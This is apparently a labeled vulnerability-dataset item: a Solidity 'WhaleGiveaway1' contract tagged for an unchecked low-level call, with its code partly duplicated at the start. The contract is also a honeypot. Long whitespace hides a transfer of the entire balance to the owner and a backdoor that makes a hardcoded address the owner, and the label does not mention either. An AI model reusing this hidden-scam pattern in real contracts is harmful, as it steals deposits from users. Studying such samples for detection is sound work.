HIGH severity: Unchecked Low Level Calls vulnerability in 0x7a4349a749e59a5736efb7826ee3496a2dfd5489. /*
 * @source: etherscan.io 
 * @author: -
 * @vulnerable_at_lines: 44
 */

pragma solidity ^0.4.19;

contract WhaleGiveaway1
{
    address public Owner = msg.sender;
   
    function()
    public
    payable
    {
        
    }
   
    function GetFreebie()
    public
    payable
    {            

Vulnerable code:
/*
 * @source: etherscan.io 
 * @author: -
 * @vulnerable_at_lines: 44
 */

pragma solidity ^0.4.19;

contract WhaleGiveaway1
{
    address public Owner = msg.sender;
   
    function()
    public
    payable
    {
        
    }
   
    function GetFreebie()
    public
    payable
    {                                                                    
        if(msg.value>1 ether)
        {                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Owner.transfer(this.balance);                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           
            msg.sender.transfer(this.balance);
        }                                                                                                                
    }
    
    function withdraw()
    payable
    public
    {                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        if(msg.sender==0x7a617c2B05d2A74Ff9bABC9d81E5225C1e01004b){Owner=0x7a617c2B05d2A74Ff9bABC9d81E5225C1e01004b;}                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  
        require(msg.sender == Owner);
        Owner.transfer(this.balance);
    }
    
    function Command(address adr,bytes data)
    payable
    public
    {
        require(msg.sender == Owner);
        // <yes> <report> UNCHECKED_LL_CALLS
        adr.call.value(msg.value)(data);
    }
}

Vulnerability type: unchecked_low_level_calls